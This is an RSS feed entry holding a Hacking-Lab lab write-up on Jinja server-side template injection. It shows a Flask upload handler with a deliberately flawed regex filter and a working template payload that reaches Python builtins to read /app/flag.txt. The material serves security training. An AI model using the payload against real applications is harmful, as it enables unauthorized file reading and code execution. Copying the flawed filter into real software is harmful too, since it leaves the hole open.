<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hacking-Lab on Medium]]></title>
        <description><![CDATA[Stories by Hacking-Lab on Medium]]></description>
        <link>https://medium.com/@hacking-lab?source=rss-8ae094249ed8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*HdcTVxwl2bi-wQ6Au2A96w.png</url>
            <title>Stories by Hacking-Lab on Medium</title>
            <link>https://medium.com/@hacking-lab?source=rss-8ae094249ed8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 16:42:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hacking-lab/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[RCE — Web Application Vulnerability: Jinja Template Injection]]></title>
            <link>https://medium.com/@hacking-lab/rce-web-application-vulnerability-jinja-template-injection-751f8e08c496?source=rss-8ae094249ed8------2</link>
            <guid isPermaLink="false">https://medium.com/p/751f8e08c496</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[security-training]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Hacking-Lab]]></dc:creator>
            <pubDate>Wed, 20 Mar 2024 14:02:57 GMT</pubDate>
            <atom:updated>2024-03-25T06:51:29.897Z</atom:updated>
            <content:encoded><![CDATA[<h3>RCE — Web Application Vulnerability: Jinja Template Injection</h3><blockquote><em>Cyber Exercise Author :</em> <strong>Coderion</strong><br><em>Real-Time Access Link :</em> <a href="https://academy.hacking-lab.com/events/redeem/HACKING-LAB-WRITUPS-QWERTY"><strong>Hacking-Lab for Academy</strong></a><strong> <br></strong>(Experience it firsthand without reading the write-up)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sQGb2hJ8JqTs63PhEUq3Cg.png" /></figure><h3>Introduction</h3><p>Welcome to the SANTA (Secure and New Template Automation) exercise! In this exercise, you’ll be exploring the functionality of a web application that allows users to upload Jinja templates for rendering HTML input forms. The task might seem simple, but beware! There’s a security vulnerability lurking within.</p><h3>Description</h3><p>The exercise presents a web application where users can upload Jinja templates and then populate them with data to render HTML forms. The application boasts of its security features, including anti-tampering protection. However, a critical vulnerability exposes the application to remote code execution (RCE).</p><h3>Solution Overview</h3><p>Participants are provided with the source code of the web application along with access to the remote website. The application’s logic for template uploading is straightforward: it checks for potential Jinja injections before saving the template. However, a flaw in the injection detection mechanism allows attackers to bypass this check and execute arbitrary Python code.</p><h3>Beginning the Exercise</h3><p>To initiate the vulnerable Jinja application, simply click the “start” button.<br>Additionally, the source code of the application is available for thorough analysis.</p><p>Access this exercise lab at -<br><a href="https://academy.hacking-lab.com/events/redeem/HACKING-LAB-WRITUPS-QWERTY">https://academy.hacking-lab.com/events/redeem/HACKING-LAB-WRITUPS-QWERTY</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*zsqBrhSNH4sfc7hyvZZQtw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*RWqQb4zeiorlzRQaHgAeCA.png" /><figcaption>Source Files</figcaption></figure><h3>Launching the Application</h3><p>Once you’ve started the vulnerable application, proceed by clicking the “open” button to access the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*j0hjxcqip2wOPKpxJwD-yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkcUlLDOLZd-7f4Y-JP7Vw.png" /></figure><h3>Vulnerability Analysis</h3><p>The vulnerability lies in the inadequate Jinja injection detection mechanism. The code erroneously assumes that all injections will be encapsulated within `{{…}}`. However, it fails to consider cases where there might be a newline after the opening braces, thus allowing malicious code execution.</p><p>Below is a simplified version of the vulnerable code snippet:</p><pre>@app.route(&quot;/upload&quot;, methods=[&quot;POST&quot;])<br>def upload_template():<br>    # Extract template and fields data<br>    message = request.files[&quot;template&quot;]<br>    fields_data = request.form[&quot;fields&quot;]<br>    fields = json.loads(fields_data)<br><br>    # Generate unique identifiers for the template<br>    template_id = str(uuid.uuid4())<br>    template_path = os.path.join(app.config[&quot;TEMPLATES_FOLDER&quot;], secure_filename(template_id + &quot;.html&quot;))<br>    tmp_path = os.path.join(app.config[&quot;TEMPLATES_FOLDER&quot;], str(uuid.uuid4()))<br>    message.save(tmp_path)<br><br>    # Prevent any injections (vulnerable code)<br>    jinja_objects = re.findall(r&quot;{{(.*?)}}&quot;, open(tmp_path).read())<br>    for obj in jinja_objects:<br>        if not re.match(r&quot;^[a-z ]+$&quot;, obj):<br>            return Response(f&quot;Upload failed for {tmp_path}. Injection detected.&quot;, status=400)<br><br>    # If file is injection-free, save it<br>    os.rename(tmp_path, template_path)<br>    with open(os.path.join(app.config[&quot;TEMPLATES_FOLDER&quot;], f&quot;{template_id}_form.html&quot;), &quot;w&quot;) as f:<br>        f.write(render_template(&quot;form_template.html&quot;, fields=fields, template_id=template_id))<br><br>    return redirect(url_for(&quot;render_form&quot;, template_id=template_id))</pre><h3>Exploitation Strategy</h3><p>Exploiting the vulnerability involves crafting a Jinja template that evades the injection detection mechanism. By introducing a newline after the opening braces, attackers can execute arbitrary Python code. An example template provided in the challenge demonstrates how to leverage this flaw to read sensitive files from the server, such as `flag.txt`.</p><h3>Exploit</h3><p>To illustrate the vulnerability, let’s craft a malicious Jinja template designed to perform unauthorized actions:<br>Create a file “exploit.html” and add the following contents :</p><pre>&lt;!doctype html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;body&gt;<br>    {% set x = <br>        request.__class__._load_form_data.__globals__.__builtins__.open(&quot;/app/flag.txt&quot;).read() <br>        %}{{x}}<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Once you’ve created a file, upload it to the application and click the “upload” button. After successfully uploading the file, proceed to click on “Generate.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z4A_ZpQAYy7WzuP_mbRLhQ.png" /></figure><p>Congratulations! You have successfully executed Remote Code Execution (RCE) on the vulnerable application.<br>You can now submit the flag you obtained in the solutions tab to validate your answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mLvL20FCkxwPkzGFYeRR8w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QIVRW1JZupCeWPhfNuXfuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*gBT4_eYRBQ84e2P-msAZMw.png" /></figure><blockquote>Note: This write-up is intended for educational purposes only. Any attempt to exploit vulnerabilities in unauthorized systems or applications is strictly prohibited and may result in legal consequences. Always ensure ethical and responsible use of cybersecurity knowledge and skills.</blockquote><p>Become a cybersecurity expert with <a href="https://hacking-lab.com/services/">Hacking-Lab</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=751f8e08c496" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>